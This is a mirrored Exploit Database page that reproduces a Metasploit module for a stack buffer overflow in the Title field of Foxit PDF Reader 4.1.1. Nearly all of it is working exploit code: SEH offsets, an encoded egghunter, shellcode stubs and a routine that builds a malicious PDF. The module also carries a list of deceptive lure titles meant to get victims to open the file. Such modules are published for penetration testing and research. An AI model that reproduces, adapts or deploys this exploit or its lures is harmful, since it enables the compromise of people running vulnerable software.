Foxit PDF Reader 4.1.1 – Title Stack Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-12-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16621/

• ##
  # $Id: foxit_title_bof.rb 11353 2010-12-16 20:11:01Z egypt $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::PDF
  	include Msf::Exploit::Egghunter
  	#include Msf::Exploit::Seh # unused due to special circumstances
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow',
  			'Description' 	=> %q{
  					This module exploits a stack buffer overflow in Foxit PDF Reader prior to version
  				4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that
  				contains an overly long string in the Title field. This results in overwriting a
  				structured exception handler record.
  
  				NOTE: This exploit does not use javascript.
  			},
  			'License'	=> MSF_LICENSE,
  			'Version'	=> "$Revision: 11353 $",
  			'Author'	=>
  				[
  					'dookie',# Discovered the bug
  					'Sud0',# Original exploit (from Offsec Exploit Weekend)
  					'corelanc0d3r',# Metasploit exploit
  					'jduck'# Metasploit-fu
  				],
  			'References' =>
  				[
  					#[ 'CVE', '' ],
  					[ 'OSVDB', '68648' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/15532' ],
  					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/11/13/offensive-security-exploit-weekend/' ]
  				],
  			'Payload'	=>
  				{
  					'BadChars'	=>"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
  					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  					'EncoderOptions' =>
  						{
  							'BufferRegister' => 'EDI',# egghunter jmp edi
  						}
  				},
  			'Platform'	=> 'win',
  			'Targets'	=>
  				[
  					[ 'Foxit Reader v4.1.1 XP Universal', { 'Offset' => 540, 'Ret' => "\x4B\x6A" } ]#unicode p/p/r foxit reader.exe
  				],
  			'DisclosureDate' => 'Nov 13 2010',
  			'DefaultTarget'	=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ false, 'The output filename.', 'corelan_foxit.pdf'])
  			], self.class)
  	end
  
  	def exploit
  		@label = rand_text_alpha(7)
  
  		nseh = "\x5A\x41" # pop edx -- to make edx writable
  		seh = target['Ret']
  
  		# inc ecx / pop esp / popad / push esp / ret
  		align = "\x41\x61\x5C\x5C\x41\x61\x41\x54\x41\xC3"
  		ecx_control = "\xB3\x30\xB3" # becomes ecx
  
  		hunter, @egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
  
  		# Encode with alphamixed, then unicode mixed
  		[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
  			enc = framework.encoders.create(name)
  			if name =~ /unicode/
  				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
  			else
  				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
  			end
  			# NOTE: we already eliminated badchars
  			hunter = enc.encode(hunter, nil, nil, platform)
  			if name =~/alpha/
  				#insert getpc_stub & align EDX, unicode encoder friendly.
  				#Hardcoded stub is not an issue here because it gets encoded anyway
  				getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
  				hunter = getpc_stub + hunter
  			end
  		}
  		#tweak hunter, patched to make it write to ECX
  		hunter[1] = "a"
  
  		doctitles = [
  			"Confidential : Contract + Terms of Use",
  			"Contract information",
  			"Acquisition contract",
  			"...loading, please wait...",
  			"Trademark, patent and copyright information",
  			"Limited Liability Partnership",
  			"Partnership agreement",
  			"Last will and testament",
  			"How to hack gmail",
  			"Running Metasploit on Windows Mobile",
  			"Free torrent sites",
  			"Lady Gaga naked",
  			"Free Shopping vouchers"
  		]
  
  		sploit = ''
  		sploit << doctitles[rand(doctitles.length)]
  		sploit << " " * (target['Offset'] - sploit.length)
  		sploit << nseh << seh
  		sploit << align
  		sploit << ecx_control
  		sploit << hunter
  
  		file_create(make_pdf(sploit))
  	end
  
  	# Override the mixin obfuscator since it doesn't seem to work here.
  	def nObfu(str)
  		return str
  	end
  
  	def trailer(root_obj)
  		ret = 'trailer'
  		ret << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj)
  		ret << nObfu("/Info ") << ioRef(5)
  		ret << nObfu("/#{@label} #{@egg}")
  		ret << nObfu(">>")
  		ret << eol
  		ret
  	end
  
  	def make_pdf(sploit)
  		@pdf << header('1.4')
  
  		add_object(1, nObfu("<</ViewerPreferences<</DisplayDocTitle true>>/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/Type/Catalog/Lang(en-US)>>"))
  		add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
  		add_object(3, nObfu("<</Count 1/Type/Pages/Kids[") << ioRef(4) << nObfu("]>>"))
  		add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>"))
  		add_object(5, nObfu("<</Title (") + sploit + nObfu(")>>"))
  
  		finish_pdf
  	end
  
  end